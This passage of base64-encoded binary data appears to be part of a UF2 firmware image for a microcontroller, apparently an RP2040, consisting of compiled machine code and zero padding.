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
